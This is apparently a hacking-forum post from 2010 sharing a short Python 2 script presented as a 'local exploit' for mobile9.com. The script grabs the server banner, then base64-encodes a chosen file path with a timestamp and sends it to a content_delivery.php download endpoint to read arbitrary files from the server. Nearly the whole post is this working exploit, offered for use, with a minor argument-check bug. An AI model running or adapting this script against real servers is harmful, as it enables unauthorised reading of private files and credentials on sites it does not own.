WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2020查看
  • 0回复

主题

好友

2712

积分

禁止访问

发表于 2010-2-1 18:56:50 |显示全部楼层
因为他是base64编码的手工测试很麻烦就写了个小工具,高手飘过

import urllib2,sys
import httplib
import base64,time

if len(sys.argv) <= 2:
        print "=" * 30
        print "mobile9.com local exploit by cnb|rd Qq:441303228"
        print "Email:Linuxrootkit2008@gmail.com"
        print "=" * 30
        print
        print "usage: " + sys.argv[0] + " hostname " + " local file "
        print
        sys.exit(1)

host = sys.argv[1]
path = sys.argv[2]
file = sys.argv[3]

h = httplib.HTTP(host)
h.putrequest("HEAD", path)
h.putheader("Host", host)
h.endheaders()
okresp, reason, headers = h.getreply()
print "=" * 30
print host + " Server Banner is " + headers.get("Server")
print "=" * 30


print "Local file to read is " + file
time = int(time.time())
serverpath = "/download/content_delivery.php?key="
str = str(file) + "|" + str(time) + "|"
print str
base64file = base64.urlsafe_b64encode(str)
requestpath = serverpath + base64file
print base64file
print requestpath
f = httplib.HTTPConnection(host)
f.request('GET', requestpath)
print f.getresponse().read()
f.close

CSDN博客cnbird2008

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-4-28 04:17 , Processed in 0.057785 second(s), 16 queries .

返回顶部